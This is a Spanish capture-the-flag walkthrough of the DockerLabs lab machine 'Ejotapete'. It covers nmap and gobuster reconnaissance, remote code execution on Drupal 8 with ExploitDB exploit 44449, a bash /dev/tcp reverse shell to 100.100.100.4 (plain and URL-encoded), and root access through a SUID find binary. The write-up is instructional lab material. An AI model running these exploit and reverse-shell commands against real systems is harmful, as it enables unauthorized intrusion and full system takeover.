> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-facil/ejotapete.md).

# Ejotapete

#### **Despliegue de la Máquina:**

**Descarga:**

Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **Ejotapete** y pulsamos en el botón de descarga. Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que contiene tanto la imagen de la máquina como el script necesario para su ejecución.

**Descompresión:**

Descomprimimos el archivo usando `7z`:

```bash
7z x ejotapete.zip
```

<figure><img src="/files/I5Ea1V2lWuKZCZCeMxno" alt=""><figcaption></figcaption></figure>

**Ejecución:**

Ejecutamos el script que automatiza el despliegue del contenedor vulnerable en Docker:

```bash
bash auto_deploy.sh ejotapete.tar
```

<figure><img src="/files/wsPwMNH6uC3DpgCq3pKq" alt=""><figcaption></figcaption></figure>

***

#### **Reconocimiento:**

**Verificación de Conectividad:**

Hacemos un `ping` a la IP del contenedor para comprobar la conectividad:

```bash
ping -c 1 172.17.0.2
```

El `TTL=64` nos indica que se trata de un sistema **Linux**.

<figure><img src="/files/dyZackuV6H7H0uJrNfgN" alt=""><figcaption></figcaption></figure>

**Escaneo de Puertos:**

Realizamos un escaneo rápido con `nmap` para identificar puertos abiertos:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```

**Resultado:**

* **Puerto 80:** `HTTP`.

<figure><img src="/files/kvs8gDKFGCIhzvD7hgit" alt=""><figcaption></figcaption></figure>

**Escaneo Detallado:**

Analizamos el puerto encontrado con mayor profundidad:

```bash
nmap -p80 -sCV 172.17.0.2 -oN targeted
```

**Detectamos:**

* **Servicio:** Apache httpd 2.4.25.
* **Título HTTP:** 403 Forbidden.

<figure><img src="/files/5DIwOSLE1Vud0ginGpfd" alt=""><figcaption></figcaption></figure>

**Enumeración Web:**

Al acceder a `http://172.17.0.2/` mediante el navegador, encontramos un error **403 Forbidden**, lo que indica falta de permisos para acceder al recurso.

<figure><img src="/files/RpAI80FZOzR0ZAGTik35" alt=""><figcaption></figcaption></figure>

Realizamos un ataque de fuerza bruta con `gobuster` para enumerar directorios y archivos ocultos:

```bash
gobuster dir -u http://172.17.0.2/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html
```

Encontramos el directorio `/drupal`.

<figure><img src="/files/iaBBhygPfYOwJ4o16ekS" alt=""><figcaption></figcaption></figure>

Al acceder vemos el CMS **Drupal** en ejecución:

```
http://172.17.0.2/drupal/
```

<figure><img src="/files/zeh8xTfZeXAYYislE6pS" alt=""><figcaption></figcaption></figure>

Verificamos la versión del CMS con la extensión **Wappalyzer** y confirmamos que es **Drupal 8**.

<figure><img src="/files/yVIWZgBWCNyMZXDmYwVq" alt=""><figcaption></figcaption></figure>

Alternativamente, inspeccionamos el código fuente y hallamos:

```html
<meta name="Generator" content="Drupal 8 (https://www.drupal.org)" />
```

<figure><img src="/files/YatytcHDW26YqomNY6ve" alt=""><figcaption></figcaption></figure>

***

#### **Explotación:**

Buscamos exploits públicos para Drupal 8. Encontramos uno en [ExploitDB](https://www.exploit-db.com/exploits/44449).

<figure><img src="/files/aDmDn36GEoOaz6cX2jOJ" alt=""><figcaption></figcaption></figure>

Lo descargamos y le damos permisos de ejecución:

```bash
chmod 700 44449.rb
```

<figure><img src="/files/xNExgjkYbwdn2UYV4Qty" alt=""><figcaption></figcaption></figure>

Instalamos la dependencia `highline`, necesaria para el script:

```bash
gem install highline
```

> Este comando instala una biblioteca Ruby que permite mostrar menús interactivos y recibir entrada del usuario de forma más amigable.

<figure><img src="/files/n8l1N3Q6vgArwJ8bqV7L" alt=""><figcaption></figcaption></figure>

Ejecutamos el exploit:

```bash
ruby 44449.rb http://172.17.0.2/drupal/
```

<figure><img src="/files/wD6HTMYa5rAWj1vSp90y" alt=""><figcaption></figcaption></figure>

¡Tenemos ejecución remota de comandos (RCE)! Verificamos con `whoami` y obtenemos el usuario `www-data`.

<figure><img src="/files/eTvnAApwyrTAjaxJH2MF" alt=""><figcaption></figcaption></figure>

**Reverse Shell:**

Preparamos una shell reversa para tener mayor control:

```bash
bash -c 'bash -i >& /dev/tcp/100.100.100.4/123 0>&1'
```

Codificamos la shell para evitar errores: [URL Encode and Decode - Online](https://www.urlencoder.org/).

**Resultado:**

```bash
bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F100.100.100.4%2F123%200%3E%261%27
```

<figure><img src="/files/maUizyDFT5UnWFTBI77E" alt=""><figcaption></figcaption></figure>

Nos ponemos en escucha:

```bash
nc -nvlp 123
```

<figure><img src="/files/Lf2PLwNFgG0tFo5I3cOv" alt=""><figcaption></figcaption></figure>

Ejecutamos el payload codificado:

```bash
bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F100.100.100.4%2F123%200%3E%261%27
```

<figure><img src="/files/ooBP049iQv9cBv2bgHq9" alt=""><figcaption></figcaption></figure>

¡Y obtenemos una shell como el usuario `www-data`!

<figure><img src="/files/YG9cb3Q6pbM2JjKY1MKT" alt=""><figcaption></figcaption></figure>

***

#### **Escalada de Privilegios:**

Buscamos binarios con permisos SUID:

```bash
find / -perm -4000 2>/dev/null
```

Encontramos el binario `/usr/bin/find`.

<figure><img src="/files/2Gt6NGqLMbbofFLpMe0b" alt=""><figcaption></figcaption></figure>

Ejecutamos el siguiente comando para escalar privilegios:

```bash
find . -exec /bin/bash -p \; -quit
```

> Este comando utiliza el SUID del binario `find` para ejecutar una shell con privilegios elevados mediante `bash -p`, el cual conserva los permisos del ejecutable cuando el bit SUID está activo.

¡Y conseguimos acceso como `root`!

<figure><img src="/files/puAYIIb6PczDQWz9hD4k" alt=""><figcaption></figcaption></figure>
